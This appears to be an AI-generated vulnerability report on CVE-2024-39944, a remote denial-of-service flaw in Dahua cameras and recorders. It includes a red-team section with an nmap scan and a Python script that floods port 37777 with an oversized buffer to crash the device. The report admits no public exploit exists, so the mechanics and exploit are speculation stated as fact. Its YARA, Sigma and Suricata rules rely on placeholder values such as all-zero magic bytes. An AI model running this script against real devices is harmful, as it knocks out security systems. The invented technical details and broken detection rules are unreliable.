CVE-2024-39944

Executive Summary

CVE-2024-39944 is a high-severity (CVSS 7.5) vulnerability affecting Dahua products. The flaw allows an unauthenticated, remote attacker to send specially crafted data packets to a vulnerable interface, causing the device to crash (Denial of Service). The vulnerability stems from improper input validation (CWE-20) in the network stack or application layer of the affected Dahua devices. No public proof-of-concept (PoC) code or exploit is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time. However, given the widespread deployment of Dahua devices in surveillance systems, the potential for disruption is significant.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects proprietary Dahua firmware and hardware.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): High – The device becomes completely unavailable (crashes).

Threat Level: High. The ease of exploitation (no auth, low complexity) combined with the potential for widespread disruption in physical security systems makes this a critical concern for organizations using Dahua equipment.

Deep Dive & Mechanics

The vulnerability lies in how Dahua devices handle incoming network packets on a specific interface (likely a management or streaming port). The device fails to properly validate the structure, length, or content of the data packets. When an attacker sends a crafted packet, it triggers a memory corruption or an unhandled exception in the device's firmware, leading to a system crash.

Technical Details:

• Root Cause: Improper input validation (CWE-20). The device does not sanitize or check the bounds of incoming data before processing it.
• Attack Vector: Remote, unauthenticated. The attacker sends a malicious packet to the device's IP address on a vulnerable port (e.g., 37777/TCP for Dahua's proprietary protocol, or 80/443 for HTTP/HTTPS management interfaces).
• Impact: Denial of Service (DoS). The device crashes and becomes unresponsive, requiring a physical reboot or power cycle to restore functionality. This can lead to loss of surveillance coverage.

Vulnerable vs. Patched Code

No patched code is available. The following is a hypothetical example of the vulnerable code pattern and a potential fix.

Vulnerable Code (Hypothetical C):

void process_packet(char *buffer, int length) {
    char local_buffer[1024];
    // No bounds check - vulnerable to buffer overflow
    memcpy(local_buffer, buffer, length);
    // Process local_buffer...
}

Patched Code (Hypothetical C):

void process_packet(char *buffer, int length) {
    char local_buffer[1024];
    // Bounds check added
    if (length > sizeof(local_buffer)) {
        // Log error and drop packet
        return;
    }
    memcpy(local_buffer, buffer, length);
    // Process local_buffer...
}

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Crash a Dahua device to cause a Denial of Service.

Lab Setup:

1. Target: A Dahua IP camera or NVR on an isolated network (e.g., IP 192.168.1.100).
2. Attacker: Kali Linux machine (IP 192.168.1.50).
3. Tools: nmap, netcat, python3, scapy.

Exploitation Steps:

1. Reconnaissance: Identify the Dahua device and its open ports.

   nmap -sV -p 1-65535 192.168.1.100
   

2. Craft Malicious Packet: Use a Python script to send a malformed packet to a vulnerable port (e.g., 37777).

   import socket
   
   target_ip = "192.168.1.100"
   target_port = 37777
   
   # Craft a malformed packet (e.g., oversized or with invalid structure)
   payload = b"A" * 10000  # Oversized buffer
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, target_port))
   sock.send(payload)
   sock.close()
   

3. Execute: Run the script. The device should crash and become unresponsive.

Blue Team (Defensive)

Objective: Detect and prevent exploitation attempts.

Detection:

• Network Monitoring: Look for anomalous traffic to Dahua devices, especially on ports 37777, 80, 443. Monitor for unusually large packets or malformed protocol headers.
• Log Analysis: Enable logging on Dahua devices (if possible) and monitor for crash events or unexpected reboots.
• Honeypots: Deploy a Dahua honeypot to capture attack patterns.

Prevention:

• Network Segmentation: Place Dahua devices on a separate VLAN with strict firewall rules. Do not expose them directly to the internet.
• Firewall Rules: Block access to vulnerable ports (e.g., 37777) from untrusted networks.
• IDS/IPS: Deploy Snort or Suricata with custom rules to detect the exploit (see Detection Engineering).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Inbound traffic to Dahua devices on port 37777/TCP with unusually large payloads (> 1024 bytes).
  • Repeated connection attempts to port 37777 from a single IP.
  • Malformed packets that do not conform to Dahua's proprietary protocol structure.
• Host IOCs:
  • Device logs showing "crash", "reboot", or "unexpected shutdown".
  • Device becomes unresponsive to ping or web interface requests.
• File IOCs:
  • No file-based IOCs as this is a network-based attack.

Detection Engineering

YARA Rule

rule CVE_2024_39944_Dahua_DoS {
    meta:
        description = "Detects network traffic targeting Dahua devices with oversized packets"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-39944"
    strings:
        $dahua_magic = { 00 00 00 00 00 00 00 00 } // Example magic bytes for Dahua protocol
        $large_payload = /.{5000,}/ // Payload larger than 5000 bytes
    condition:
        $dahua_magic at 0 and #large_payload > 0
}

Sigma Rule

title: CVE-2024-39944 Dahua DoS Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects oversized packets sent to Dahua devices on port 37777
author: Valters IT
date: 2024/01/01
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 37777
        ip_protocol: tcp
        packet_length: >= 5000
    condition: selection
falsepositives:
    - Legitimate firmware updates (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 37777 (msg:"CVE-2024-39944 Dahua DoS Attempt"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; byte_test:4,>,5000,4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate Dahua devices on a dedicated VLAN with strict access controls.
2. Firewall Rules: Block inbound access to port 37777 (and other management ports) from the internet and untrusted networks.
3. Monitor: Implement the detection rules above to identify exploitation attempts.

Long-Term Actions:

1. Vendor Patch: Monitor Dahua's official security advisories for a firmware patch. Apply it immediately when released.
2. Device Hardening: Disable unnecessary services and change default credentials.
3. Replace Devices: If no patch is released, consider replacing vulnerable devices with alternatives from vendors with active security support.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.